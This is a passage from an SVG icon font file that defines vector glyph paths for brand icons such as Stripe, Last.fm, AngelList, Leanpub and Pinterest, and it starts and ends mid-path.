-11.0996c0 -15 -9 -18 -22 -18l-8 -0.299805l4.2002 26.6992c0.200195 1.7002 1.40039 2.7002 3.2002 2.7002h4.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480 +c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM128.3 232.6c0 21 -16.2002 28 -34.7002 28h-40c-2.5 0 -5 -2 -5.19922 -4.69922l-16.4004 -102.101c-0.299805 -2 1.2002 -4 3.2002 -4h19c2.7002 0 5.2002 2.90039 5.5 5.7002l4.5 26.5996 +c1 7.2002 13.2002 4.7002 18 4.7002c28.5996 0 46.0996 17 46.0996 45.7998zM212.5 223.8h-19c-3.7998 0 -4 -5.5 -4.2002 -8.2002c-5.7998 8.5 -14.2002 10 -23.7002 10c-24.5 0 -43.1992 -21.5 -43.1992 -45.1992c0 -19.5 12.1992 -32.2002 31.6992 -32.2002 +c9 0 20.2002 4.89941 26.5 11.8994c-0.5 -1.5 -1 -4.69922 -1 -6.19922c0 -2.30078 1 -4 3.2002 -4h17.2002c2.7002 0 5 2.89941 5.5 5.69922l10.2002 64.3008c0.299805 1.89941 -1.2002 3.89941 -3.2002 3.89941zM253 125.9l63.7002 92.5996c0.5 0.5 0.5 1 0.5 1.7002 +c0 1.7002 -1.5 3.5 -3.2002 3.5h-19.2002c-1.7002 0 -3.5 -1 -4.5 -2.5l-26.5 -39l-11 37.5c-0.799805 2.2002 -3 4 -5.5 4h-18.7002c-1.69922 0 -3.19922 -1.7998 -3.19922 -3.5c0 -1.2002 19.5 -56.7998 21.1992 -62.1006c-2.69922 -3.7998 -20.5 -28.5996 -20.5 -31.5996 +c0 -1.7998 1.5 -3.2002 3.2002 -3.2002h19.2002c1.7998 0.100586 3.5 1.10059 4.5 2.60059zM412.3 232.6c0 21 -16.2002 28 -34.7002 28h-39.6992c-2.7002 0 -5.2002 -2 -5.5 -4.69922l-16.2002 -102c-0.200195 -2 1.2998 -4 3.2002 -4h20.5c2 0 3.5 1.5 4 3.19922l4.5 29 +c1 7.2002 13.1992 4.7002 18 4.7002c28.3994 0 45.8994 17 45.8994 45.7998zM496.5 223.8h-19c-3.7998 0 -4 -5.5 -4.2998 -8.2002c-5.5 8.5 -14 10 -23.7002 10c-24.5 0 -43.2002 -21.5 -43.2002 -45.1992c0 -19.5 12.2002 -32.2002 31.7002 -32.2002 +c9.2998 0 20.5 4.89941 26.5 11.8994c-0.299805 -1.5 -1 -4.69922 -1 -6.19922c0 -2.30078 1 -4 3.2002 -4h17.2998c2.7002 0 5 2.89941 5.5 5.69922l10.2002 64.3008c0.299805 1.89941 -1.2002 3.89941 -3.2002 3.89941zM544 257.1c0 2 -1.5 3.5 -3.2002 3.5h-18.5 +c-1.5 0 -3 -1.19922 -3.2002 -2.69922l-16.1992 -104l-0.300781 -0.5c0 -1.80078 1.5 -3.5 3.5 -3.5h16.5c2.5 0 5 2.89941 5.2002 5.69922l16.2002 101.2v0.299805zM454 205.3c9.2998 0 16.2998 -5.7002 16.2002 -15.5c0 -12.2998 -9.7002 -21.5 -21.7002 -21.5 +c-9.2002 0 -16.2002 5.2998 -16.2002 15c0 12.2998 9.5 22 21.7002 22z" /> + <glyph glyph-name="cc-stripe" unicode="" horiz-adv-x="576" +d="M492.4 227.2c8.69922 0 18 -6.7002 18 -22.7002h-36.7002c0 16 9.7998 22.7002 18.7002 22.7002zM375 224.6c12.9004 0.100586 21.9004 -14.5 21.9004 -33.0996c0 -19.0996 -8.80078 -33.4004 -21.9004 -33.4004c-8.2998 0 -13.2998 3 -16.7998 6.7002l-0.200195 52.7998 +c3.7002 4.10059 8.7998 7 17 7zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM122.2 166.9c0 42.2998 -54.2998 34.6992 -54.2998 50.6992c0 5.5 4.59961 7.7002 12.0996 7.7002 +c10.7998 0 24.5 -3.2998 35.2998 -9.09961v33.3994c-11.7998 4.7002 -23.5 6.5 -35.2998 6.5c-28.7998 0 -48 -15 -48 -40.1992c0 -39.3008 54 -32.9004 54 -49.9004c0 -6.59961 -5.7002 -8.7002 -13.5996 -8.7002c-11.8008 0 -26.9004 4.90039 -38.9004 11.2998v-33.8994 +c13.2002 -5.7002 26.5996 -8.10059 38.7998 -8.10059c29.6006 0.200195 49.9004 14.7002 49.9004 40.3008zM191 223.5v30.2998h-26.9004v30.7998l-34.6992 -7.39941l-0.200195 -113.9c0 -21 15.7998 -36.5 36.8994 -36.5c11.6006 0 20.2002 2.10059 24.9004 4.7002v28.9004 +c-4.5 -1.80078 -27 -8.30078 -27 12.5996v50.5h27zM265 221.1v32.7002h-0.0996094c-4.7002 1.7002 -21.3008 4.7998 -29.6006 -10.5l-2.2002 10.5h-30.6992v-124.5h35.5v84.4004c8.39941 11 22.5996 8.89941 27.0996 7.39941zM309.1 129.3v124.5h-35.6992v-124.5h35.6992z +M309.1 272.2v28.8994l-35.6992 -7.59961v-28.9004zM383.2 126.7c25.3994 0.0996094 48.5996 20.5 48.5996 65.5996c0 41.2998 -23.5 63.7998 -48.3994 63.7998c-13.9004 0 -22.9004 -6.59961 -27.8008 -11.0996l-1.7998 8.7998h-31.2998v-165.8l35.5 7.5l0.0996094 40.2002 +c5.10059 -3.7002 12.7002 -9 25.1006 -9zM543.6 178.2c0.100586 2 0.400391 9.39941 0.400391 12.8994c0 36.4004 -17.5996 65.1006 -51.2998 65.1006c-33.7998 0 -54.2998 -28.7002 -54.2998 -64.9004c0 -42.7998 24.1992 -64.5 58.7998 -64.5 +c17 0 29.7002 3.90039 39.3994 9.2002v28.5996c-9.69922 -4.89941 -20.7998 -7.89941 -34.8994 -7.89941c-13.7998 0 -26 4.89941 -27.6006 21.5h69.5z" /> + <glyph glyph-name="lastfm" unicode="" horiz-adv-x="512" +d="M225.8 80.9004c0 0 -31.7002 -31.1006 -97.8994 -31.1006c-82.2002 0 -127.9 48.1006 -127.9 137.2c0 92.7002 45.7002 147.2 131.8 147.2c117.7 0 129.3 -66.2002 161.3 -163c14 -42.7998 38.7002 -73.9004 97.9004 -73.9004c39.9004 0 61 8.7998 61 30.5 +c0 31.9004 -34.9004 35.1006 -79.7998 45.7002c-48.6006 11.7002 -68 36.9004 -68 76.7998c0 64 51.5996 83.9004 104.399 83.9004c59.8008 0 96.2002 -21.7002 100.9 -74.5l-58.5996 -7c-2.30078 25.2002 -17.5 35.7998 -45.7002 35.7998 +c-25.7998 0 -41.6006 -11.7998 -41.6006 -31.7002c0 -17.5996 7.60059 -28.0996 33.4004 -34c52.2998 -11.5 115 -19.2002 115 -92.0996c0 -58.6006 -49.2998 -80.9004 -122 -80.9004c-101.4 0 -136.6 45.7002 -155.4 102.601 +c-26.0996 81.5996 -34.3994 134.899 -100.899 134.899c-35.7002 0 -72.1006 -25.7998 -72.1006 -97.8994c0 -56.3008 28.7002 -91.5 69.2002 -91.5c45.7002 0 76.2002 34 76.2002 34z" /> + <glyph glyph-name="lastfm-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM307.8 103.1c45.4004 0 76.2002 13.9004 76.1006 50.6006c0 45.5 -39.1006 50.3994 -71.8008 57.5 +c-16.0996 3.7002 -20.8994 10.2998 -20.8994 21.2998c0 12.5 9.89941 19.7998 26 19.7998c17.5996 0 27.0996 -6.59961 28.5996 -22.3994l36.7002 4.39941c-2.90039 33 -25.5996 46.6006 -63 46.6006c-32.9004 0 -65.2002 -12.4004 -65.2002 -52.4004 +c0 -24.9004 12.1006 -40.7002 42.5 -48c28.1006 -6.59961 49.9004 -8.7002 49.9004 -28.5996c0 -13.6006 -13.2002 -19.1006 -38.1006 -19.1006c-37 0 -52.3994 19.4004 -61.1992 46.2002c-20 60.5 -27.3008 101.9 -100.801 101.9c-53.8994 0 -82.5 -34.1006 -82.5 -92 +c0 -55.7002 28.6006 -85.8008 79.9004 -85.8008c41.4004 0 61.2002 19.4004 61.2002 19.4004l-11.7002 31.9004s-19 -21.3008 -47.5996 -21.3008c-25.3008 0 -43.3008 22 -43.3008 57.2002c0 45.1006 22.7002 61.2002 45.1006 61.2002c41.5 0 46.7002 -33.2998 63 -84.2998 +c11.7002 -35.5 33.7002 -64.1006 97.0996 -64.1006z" /> + <glyph glyph-name="ioxhost" unicode="" horiz-adv-x="640" +d="M616 288c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-52.7002c3.10059 -15.5 4.7002 -31.5996 4.7002 -48c0 -137 -111 -248 -248 -248c-102.9 0 -191.2 62.7002 -228.7 152h-67.2998c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24 +h52.7002c-3.10059 15.5 -4.7002 31.5996 -4.7002 48c0 137 111 248 248 248c102.9 0 191.2 -62.7002 228.7 -152h67.2998zM520 192c0 16.5996 -2 32.5996 -5.7998 48h-298.2c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24h279.5 +c-33.9004 62 -99.7998 104 -175.5 104c-110.5 0 -200 -89.5 -200 -200c0 -16.5996 2 -32.5996 5.7998 -48h298.2c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-279.5c33.9004 -62 99.7998 -104 175.5 -104c110.5 0 200 89.5 200 200zM216 216h208 +c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-208c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24z" /> + <glyph glyph-name="angellist" unicode="" +d="M347.1 232.6c48 -11.6992 54.9004 -50.5996 54.9004 -93.6992c0 -114.301 -73.4004 -202.9 -191.4 -202.9c-96.1992 0 -164.6 76.4004 -164.5 148.6c0 37.1006 14.2002 61.7002 51.1006 71.7002c-3.10059 8.2998 -8 20.7998 -8 29.7002 +c0 23.5 24.8994 52.5996 48.2998 52.5996c6.90039 0 13.7002 -2 20 -4.2998c-12.4004 35.2002 -46.5996 126.7 -46.5996 162c0 28.7998 14.5996 51.7002 45.6992 51.7002c40 0 85.4004 -144 95.1006 -172.5c12.5 31.4004 52.5 163.1 97.0996 163.1 +c28 0 43.7002 -22.2998 43.7002 -48.8994c0 -30.2002 -33.7002 -124.5 -45.4004 -157.101zM311.7 340l-33.1006 -93.7002l34 -6c8.5 23.4004 47.1006 128.9 47.1006 148c0 7.10059 -2.2998 16 -10.9004 16c-16 0 -33.0996 -52 -37.0996 -64.2998zM142.3 399.7 +c0 -29.1006 34.6006 -120 45.5 -148.8c7.7002 4.39941 19.7998 2.69922 35.4004 1.39941l-34.6006 100.3c-31.7998 92.8008 -46.2998 59 -46.2998 47.1006zM140 204c-7.7002 0 -20.2998 -13.4004 -20.4004 -21.0996c0 -20.8008 56 -97.7002 76.9004 -97.7002 +c5.7002 0 10.5996 6.2998 10.5996 11.3994c0 12.8008 -37.7998 107.4 -67.0996 107.4zM324.3 17.7002c55.2998 61.5 49.1006 158.6 31 174.7c-24 21.0996 -106 29.0996 -138.3 29.0996c-17.2998 0 -17.4004 -6.40039 -17.4004 -13.0996 +c0 -43.7002 92.9004 -39.7002 120.601 -39.7002c11.2002 0 15.7998 -9.90039 16.8994 -21.1006c-7.39941 -7.39941 -17.6992 -11.6992 -27.3994 -15.3994c-9.40039 -3.40039 -19.1006 -7.10059 -27.1006 -13.1006c-22 -16 -43.6992 -43.3994 -43.6992 -71.6992 +c0 -17.7002 10.5996 -32.9004 10.5996 -50.3008c0 -0.299805 -2 -6.5 -2 -7.39941c-32.5996 2.2998 -40.5996 34.5996 -41.7002 61.7002c-3.39941 -0.900391 -8 -0.600586 -11.7002 -0.600586c5.10059 -17.7998 -11.8994 -42 -38 -42 +c-37.7998 0 -88 57.2002 -58.2998 86.9004c28.7002 -35.9004 35 -51.4004 51.1006 -51.4004c4 0 11.6992 3.40039 11.6992 8.2998c0 12.8008 -42.8994 73.1006 -54.2998 73.1006c-16.7998 0 -37.7002 -24.9004 -20.5996 -68.2998 +c22.5996 -55.7002 69.5 -88.3008 128.899 -88.3008c43.4004 0 80.6006 16.6006 109.7 48.6006zM225.7 143.7c3.2002 -8.2998 6.59961 -16.6006 9.39941 -25.1006c6.30078 7.10059 12.9004 13.7002 20.3008 19.1006c-10 2 -20 2.89941 -29.7002 6z" /> + <glyph glyph-name="buysellads" unicode="" +d="M224 297.3l42.9004 -160.7h-85.8008zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM382.7 42.7002l-94.5 298.7h-128.4l-94.5 -298.7h90.7002l111.7 91.5996l24.2002 -91.5996h90.7998z +" /> + <glyph glyph-name="connectdevelop" unicode="" horiz-adv-x="576" +d="M550.5 207c6.69629 -1.33887 11.7861 -7.5 11.7881 -14.7324c0 -7.5 -5.3584 -13.6602 -12.3223 -15l-54.9111 -95.3574c0.536133 -1.60742 0.804688 -3.21387 0.804688 -4.82129c0 -7.23145 -5.09082 -13.3926 -12.0547 -14.7314l-51.6963 -90.2686 +c0.535156 -1.33887 0.802734 -2.67773 0.802734 -4.28516c0 -8.30371 -6.69727 -15.2676 -15.2686 -15.2676c-4.28516 0 -8.30371 1.875 -10.9814 4.82129h-107.144c-2.67871 -3.21484 -6.96484 -5.35742 -11.5176 -5.35742s-8.83887 2.14258 -11.5166 5.35645h-106.875 +c-2.67969 -3.21484 -6.69727 -5.35742 -11.5186 -5.35742c-8.30371 0 -15.2676 6.69727 -15.2676 15.2676c0 1.875 0.535156 3.75 1.07031 5.35742l-51.6963 89.7324c-6.96484 1.33887 -12.0547 7.5 -12.0547 14.7314c0 1.875 0.268555 3.21387 0.804688 4.82129 +l-55.1797 95.3574c-6.96484 1.60742 -12.0537 7.76855 -12.0537 15c0 7.5 5.3584 13.6611 12.5898 15l53.3047 92.1436c0 0.536133 -0.268555 1.07227 -0.268555 1.60645c0 6.16113 3.75098 11.251 9.10742 13.6611l55.9824 97.2334 +c-0.536133 1.33887 -1.07129 3.21387 -1.07129 4.82129c0 8.57129 6.96484 15.2676 15.2676 15.2676c4.82227 0 8.83887 -2.14258 11.7861 -5.625h106.071c2.67871 3.48242 6.69629 5.625 11.5176 5.625s8.83887 -2.14258 11.5176 -5.62402h106.606 +c2.94727 3.48242 6.96484 5.625 11.7861 5.625c8.30371 0 15.2676 -6.69727 15.2676 -15.2676c0 -1.60742 -0.535156 -3.21484 -1.07031 -4.82129l55.4463 -95.8936c8.03613 -0.267578 14.7324 -6.96484 14.7324 -15.001c0 -2.67871 -0.803711 -5.08984 -1.875 -7.23145z +M153.535 -2.73242v75.8037h-43.6602zM153.535 81.1074v50.624l-44.999 -47.4102c0.535156 -1.07227 1.07129 -2.14355 1.33887 -3.21387h43.6602zM153.535 143.518l0.000976562 92.9463l-50.0889 51.9648c-2.41113 -1.60645 -5.08887 -2.41113 -7.76855 -2.67871 +l-51.9648 -90c0.268555 -1.07227 0.268555 -2.14258 0.268555 -3.48242c0 -1.33887 0 -2.67871 -0.535156 -4.01758l55.7129 -96.4287c1.33887 -0.267578 2.67871 -1.07129 4.01758 -1.60742zM153.535 245.84v72.0527l-43.9277 -15.8037 +c0 -0.267578 0.267578 -0.803711 0.267578 -1.07227c0 -2.94531 -0.803711 -5.62402 -2.14258 -7.7666zM153.535 326.465v59.7324l-43.6602 -75.5361zM480.054 287.357l-0.267578 0.267578l-98.0361 -101.518l63.75 -67.2324l35.3584 167.143zM291.75 92.8926 +l-11.25 -11.7852h22.7676zM291.482 104.143l79.2852 82.2324l-83.0352 87.5889l-79.5537 -84.375zM296.839 98.25l16.875 -17.1426h124.02l5.8916 28.125l-67.5 71.25zM410.411 403.607l-117.053 -124.019l83.0342 -87.5889l97.5 101.25 +c-1.33984 2.14258 -2.14258 4.82129 -2.14258 7.7666v0.536133l-57.8574 100.714c-1.33984 0.268555 -2.41016 0.804688 -3.48145 1.34082zM401.304 405.75h-4.28711l-166.339 -60l57.0547 -60.2676zM277.821 405.75h-103.929l50.8936 -53.5713l148.393 53.5713h-75 +c-2.67871 -2.67773 -6.16016 -4.28516 -10.1787 -4.28516s-7.50098 1.60742 -10.1787 4.28516zM161.572 400.125v-70.7148l54.9111 19.8213l-51.1611 53.8398c-0.870117 -0.300781 -1.77832 -0.574219 -2.67969 -0.804688zM161.572 320.839v-83.3037l40.9814 -42.0527 +l79.5537 84.1064l-59.7324 63.2139zM161.572 228.161v-76.0723l36.4277 38.3037zM161.572 140.303v-59.1953h107.678l17.1426 17.6777l-82.7676 85.9814zM168.536 -21.75h1.33887l91.6074 94.8213h-99.9102v-89.7324l1.07031 -1.60645 +c2.41113 -0.804688 4.28613 -1.875 5.89355 -3.48242zM298.447 -21.75h104.194l-91.6064 94.8213h-38.3037l-91.6074 -94.8213h96.4287c2.68066 2.41016 6.42871 4.28516 10.4473 4.28516s7.76758 -1.875 10.4473 -4.28516zM418.447 -9.96387l17.4121 83.0361h-114.376 +l89.1953 -91.875c1.07227 0.536133 2.14355 1.07031 3.48242 1.33887zM431.303 12.2676l34.8223 60.8037h-21.9639zM466.125 81.1074c0.267578 1.07129 0.803711 2.14258 1.33887 2.94531l-17.1426 18.2139l-4.55371 -21.1592h20.3574zM532.286 188.518 +c-0.268555 1.33984 -0.536133 2.41113 -0.536133 3.75c0 1.60742 0.536133 2.94629 0.802734 4.28516l-45.8027 79.2861l-34.5537 -163.928l20.625 -21.9639c1.33887 0.802734 2.67871 1.33887 4.01758 1.87402z" /> + <glyph glyph-name="dashcube" unicode="" +d="M326.6 344l102.2 104v-427c0 -50.5 -40.0996 -85 -91.2002 -85h-227.199c-51.1006 0 -91.2002 34.5 -91.2002 85v229.5c0 50.2002 40.0996 93.5 91.2002 93.5h216.199zM153.9 31.5v-0.0996094h223.8l-51.1006 52.2998v123.5c0 17.7002 -14.2998 32.5 -32 32.5h-140.699 +c-17.7002 0 -32.4004 -14.7998 -32.4004 -32.5v-142.9c0 -17.7002 14.7002 -32.7998 32.4004 -32.7998z" /> + <glyph glyph-name="forumbee" unicode="" +d="M5.7998 138.3c-3.7998 17 -5.7998 34.2002 -5.7998 51.4004c0 123.3 99.7998 223.3 223.1 223.3c16.6006 0 33.3008 -2 49.3008 -5.5c-123.4 -47 -220.5 -145.5 -266.601 -269.2zM398.7 327.5c-151.101 -44 -269.2 -164.4 -312.3 -315.7 +c-17.2002 13.4004 -32.7002 30.9004 -45.2002 49c43.3994 149.9 160.1 267.7 309.7 312c18.0996 -12.5996 34.0996 -27.7998 47.7998 -45.2998zM414.5 74.7998c13.0996 -35.2998 24.2002 -73.2998 33.5 -109.8c-36.0996 9.2998 -72 20.5 -107 33.5996 +c-25.7002 -16 -54.5996 -26.8994 -84.5996 -31.2998c42.5996 79.7002 108.199 147.4 187.6 190.3c-4.09961 -29.0996 -14.2998 -57.6992 -29.5 -82.7998zM444.2 220.3c-113.7 -46.7002 -204.2 -139.399 -250.5 -253.5c-19.6006 2.7002 -38.5 7.60059 -56.6006 15.2002 +c44.9004 138.5 153.4 249.3 291.301 295.1c7.89941 -18.0996 13.1992 -37.2998 15.7998 -56.7998z" /> + <glyph glyph-name="leanpub" unicode="" horiz-adv-x="576" +d="M386.539 336.515l15.0957 -248.955l-10.9785 0.275391c-36.2324 0.824219 -71.6406 -8.7832 -102.657 -27.9971c-31.0156 19.2139 -66.4238 27.9971 -102.657 27.9971c-45.5635 0 -82.0693 -10.7051 -123.516 -27.7227l31.291 258.288 +c28.5459 11.8027 61.4834 18.1143 92.2256 18.1143c41.1729 0 73.8359 -13.1748 102.657 -42.5439c27.7227 28.2715 59.0127 41.7217 98.5391 42.5439zM569.07 0c-25.5264 0 -47.4854 5.21484 -70.542 15.6445c-34.3105 15.6455 -69.9932 24.9785 -107.871 24.9785 +c-38.9775 0 -74.9346 -12.9014 -102.657 -40.623c-27.7227 27.7227 -63.6797 40.623 -102.657 40.623c-37.8779 0 -73.5605 -9.33301 -107.871 -24.9785c-22.2324 -9.88086 -44.7402 -15.6445 -69.1689 -15.6445h-1.37305l42.5449 349.141 +c39.251 22.2334 87.0117 34.8594 132.301 34.8594c37.0547 0 75.209 -7.68457 106.225 -29.0947c31.0156 21.4102 69.1699 29.0947 106.225 29.0947c45.2891 0 93.0498 -12.626 132.301 -34.8594zM525.702 44.7412l-34.0361 280.246 +c-30.7422 13.999 -67.248 21.4102 -101.009 21.4102c-38.4287 0 -74.3848 -12.0771 -102.657 -38.7021c-28.2725 26.625 -64.2275 38.7021 -102.657 38.7021c-33.7607 0 -70.2666 -7.41113 -101.009 -21.4102l-34.0361 -280.246 +c47.2109 19.4863 82.8945 33.4854 135.045 33.4854c37.6045 0 70.8174 -9.60547 102.657 -29.6436c31.8398 20.0381 65.0518 29.6436 102.657 29.6436c52.1504 0 87.834 -13.999 135.045 -33.4854z" /> + <glyph glyph-name="sellsy" unicode="" horiz-adv-x="640" +d="M539.71 210.692c55.1572 -13.4834 94.0742 -63.124 94.0732 -119.509c0 -68.0264 -55.4639 -123.184 -123.185 -123.184h-381.197c-67.7217 0 -123.186 55.1572 -123.185 123.185c0 47.4961 27.8848 91.0098 70.7852 111.234 +c-2.14453 7.35449 -3.06543 15.0146 -3.06543 22.3691c0 46.2705 37.6914 83.9609 83.9629 83.9609c20.2227 0 39.835 -7.35449 55.1562 -20.5303c18.3867 74.7695 85.8008 127.781 163.021 127.781c92.542 0 167.924 -75.3818 167.924 -167.924 +c0 -12.5635 -1.22559 -25.127 -4.29004 -37.3838zM199.88 46.4463v110.928c0 8.27344 -7.04688 15.3213 -15.3213 15.3213h-30.9482c-8.27344 0 -15.3213 -7.04785 -15.3213 -15.3213v-110.928c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h30.9482 +c8.27344 0 15.3213 7.04688 15.3213 15.3213zM289.357 46.4463v131.458c0 8.27246 -7.04883 15.3203 -15.3223 15.3203h-30.9492c-8.27246 0 -15.3213 -7.04688 -15.3213 -15.3203v-131.458c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h30.9492 +c8.27344 0 15.3223 7.04688 15.3223 15.3213zM378.834 46.4463v162.714c0 8.27246 -7.04688 15.3213 -15.3213 15.3213h-30.9482c-8.27441 0 -15.3223 -7.04785 -15.3223 -15.3213v-162.714c0 -8.27344 7.04785 -15.3213 15.3223 -15.3213h30.9482 +c8.27441 0 15.3213 7.04688 15.3213 15.3213zM465.861 46.4463v224.612c0 8.58008 -7.04785 15.6279 -15.3223 15.6279h-28.4971c-8.27441 0 -15.3213 -7.04883 -15.3213 -15.6279v-224.612c0 -8.27344 7.04688 -15.3213 15.3213 -15.3213h28.4971 +c8.27441 0 15.3223 7.04688 15.3223 15.3213z" /> + <glyph glyph-name="shirtsinbulk" unicode="" +d="M100 37.7002l4.40039 9.89941l30.5996 -13.3994l-4.40039 -9.90039zM139.4 20.2002l4.39941 9.89941l30.6006 -13.3994l-4.40039 -9.90039zM311.5 34.2002l30.5996 13.3994l4.40039 -9.89941l-30.5996 -13.4004zM179.1 3l4.40039 9.59961l30.2998 -13.3994 +l-4.39941 -9.90039zM60.4004 55.2002l4.39941 9.89941l30.6006 -13.6992l-4.40039 -9.60059zM271.8 16.7002l30.6006 13.3994l4.39941 -9.89941l-30.5996 -13.4004zM232.5 -0.799805l30.5996 13.3994l4.40039 -9.59961l-30.5996 -13.7002zM350.9 51.4004l30.5996 13.6992 +l4.40039 -9.89941l-30.6006 -13.4004zM170 401.4v-10.5h-33.5v10.5h33.5zM122.8 401.4l-0.0996094 -10.5h-33.5v10.5h33.5996zM75.5 401.4l0.0996094 -10.5h-33.2998v10.5h33.2002zM217 401.4v-10.5h-33.2002v10.5h33.2002zM311.5 401.4v-10.5h-33.5v10.5h33.5zM358.8 401.4 +v-10.5h-33.5v10.5h33.5zM264.2 401.4v-10.5h-33.2002v10.5h33.2002zM405.7 401.4v-10.5h-33.2998v10.5h33.2998zM52.7998 96.9004v-33.5h-10.7998v33.5h10.7998zM122.8 312.8l-0.0996094 -10.5h-33.5v10.5h33.5996zM52.7998 302.2v-23h-10.7998v33.5h33.5996v-10.5h-22.7998 +zM221.7 73.5996c-50.2002 0 -91.2998 40.8008 -91.2998 91.3008c0 50.1992 41.0996 91.2998 91.2998 91.2998c50.5 0 91.2998 -41.1006 91.2998 -91.2998c0 -50.5 -40.7998 -91.3008 -91.2998 -91.3008zM173.5 184.7c0 -44.2998 77.5996 -11.9004 77.5996 -38 +c0 -13.1006 -24 -14.2998 -32.6992 -14.2998c-12.3008 0 -29.8008 2.69922 -35.9004 14.8994h-0.900391l-9 -18.3994c14.8008 -9.30078 29.1006 -12.2002 47.2002 -12.2002c19.5 0 51 5.7998 51 31.2002c0 48.0996 -78.5 16.2998 -78.5 37.8994 +c0 13.1006 20.7998 14.9004 29.7998 14.9004c10.8008 0 29.2002 -3.2002 35.6006 -13.1006h0.899414l8.80078 16.9004c-15.1006 6.2002 -27.4004 12 -44.3008 12c-20.0996 0 -49.5996 -6.40039 -49.5996 -31.7998zM52.7998 269.6v-33.5996h-10.7998v33.5996h10.7998z +M395.2 63.4004v33.5h10.7998v-33.5h-10.7998zM52.7998 140.1v-33.5h-10.7998v33.5h10.7998zM0 444.3h448v-406l-226.3 -98.5996l-221.7 98.5996v406zM418.8 57.2002h0.100586v270.1h-389.7v-270.1l192.8 -85.7002zM418.8 356.5h0.100586v58.5996h-389.7v-58.5996h389.6z +M52.7998 226.4v-33.5h-10.7998v33.5h10.7998zM52.7998 183.2v-33.5h-10.7998v33.5h10.7998zM170 312.8v-10.5h-33.5v10.5h33.5zM395.2 149.7v33.5h10.7998v-33.5h-10.7998zM395.2 192.9v33.5h10.7998v-33.5h-10.7998zM217 312.8v-10.5h-33.2002v10.5h33.2002zM395.2 236 +v33.5h10.7998v-33.5h-10.7998zM395.2 106.5v33.5h10.7998v-33.5h-10.7998zM264.2 312.8v-10.5h-33.2002v10.5h33.2002zM311.5 312.8v-10.5h-33.5v10.5h33.5zM395.2 279.2l0.0996094 23h-22.7998v10.5h33.5v-33.5h-10.7998zM358.8 312.8v-10.5h-33.5v10.5h33.5z" /> + <glyph glyph-name="simplybuilt" unicode="" horiz-adv-x="512" +d="M481.2 384c14.7002 0 26.5 -11.7998 26.7002 -26.2998v-331.4c0 -14.5 -11.8008 -26.2998 -26.6006 -26.2998h-450.399c-14.8008 0 -26.6006 11.7998 -26.6006 26.2998v331.4c0 14.5 11.7998 26.2998 26.4004 26.2998h106c14.5996 0 26.5996 -11.7998 26.5996 -26.2998 +v-39.6006h185.3v39.6006c0 14.5 12.1006 26.2998 26.6006 26.2998h106zM149.8 92.2002c36.9004 0 66.6006 29.7002 66.6006 66.3994c0 36.9004 -29.7002 66.6006 -66.6006 66.6006c-36.7002 0 -66.3994 -29.7002 -66.3994 -66.6006 +c0 -36.6992 29.7998 -66.3994 66.3994 -66.3994zM362.2 92.2002c36.5996 0 66.3994 29.7002 66.3994 66.5996c0 36.7002 -29.7998 66.4004 -66.3994 66.4004c-36.9004 0 -66.6006 -29.7998 -66.6006 -66.4004c0 -36.8994 29.7002 -66.5996 66.6006 -66.5996z" /> + <glyph glyph-name="skyatlas" unicode="" horiz-adv-x="640" +d="M640 118.7c0 -65.9004 -52.5 -114.4 -117.5 -114.4c-165.9 0 -196.6 249.7 -359.7 249.7c-146.899 0 -147.1 -212.2 5.60059 -212.2c42.5 0 90.8994 17.7998 125.3 42.5c5.59961 4.10059 16.8994 16.2998 22.7998 16.2998s10.9004 -5 10.9004 -10.8994 +c0 -7.7998 -13.1006 -19.1006 -18.7002 -24.1006c-40.9004 -35.5996 -100.3 -61.1992 -154.7 -61.1992c-83.4004 -0.100586 -154 59 -154 144.899c0 85.9004 67.5 149.101 152.8 149.101c185.3 0 222.5 -245.9 361.9 -245.9c99.8994 0 94.7998 139.7 3.39941 139.7 +c-17.5 0 -35 -11.6006 -46.8994 -11.6006c-8.40039 0 -15.9004 7.2002 -15.9004 15.6006c0 11.5996 5.2998 23.7002 5.2998 36.2998c0 66.5996 -50.8994 114.7 -116.899 114.7c-53.1006 0 -80 -36.9004 -88.7998 -36.9004c-6.2002 0 -11.2002 5 -11.2002 11.2002 +c0 5.59961 4.09961 10.2998 7.7998 14.4004c25.2998 28.7998 64.7002 43.6992 102.8 43.6992c79.4004 0 139.101 -58.3994 139.101 -137.8c0 -6.89941 -0.300781 -13.7002 -1.2002 -20.5996c11.8994 3.09961 24.0996 4.7002 35.8994 4.7002 +c60.7002 0 111.9 -45.3008 111.9 -107.2z" /> + <glyph glyph-name="pinterest-p" unicode="" horiz-adv-x="384" +d="M204 441.5c94.2002 0 180 -64.7998 180 -164.1c0 -93.3008 -47.7002 -196.801 -153.9 -196.801c-25.1992 0 -57 12.6006 -69.2998 36c-22.7998 -90.2998 -21 -103.8 -71.3994 -172.8c-5.2002 -1.89941 -3.5 -2.2998 -6.90039 1.5c-1.7998 18.9004 -4.5 37.5 -4.5 56.4004 +c0 61.2002 28.2002 149.7 42 209.1c-7.5 15.2998 -9.59961 33.9004 -9.59961 50.7002c0 80 93.8994 92 93.8994 25.7998c0 -39 -26.3994 -75.5996 -26.3994 -113.399c0 -25.8008 21.2998 -43.8008 46.1992 -43.8008c69 0 90.3008 99.6006 90.3008 152.7 +c0 71.1006 -50.4004 109.8 -118.5 109.8c-79.2002 0 -140.4 -57 -140.4 -137.399c0 -38.7002 23.7002 -58.5 23.7002 -67.7998c0 -7.80078 -5.7002 -35.4004 -15.6006 -35.4004c-24 0 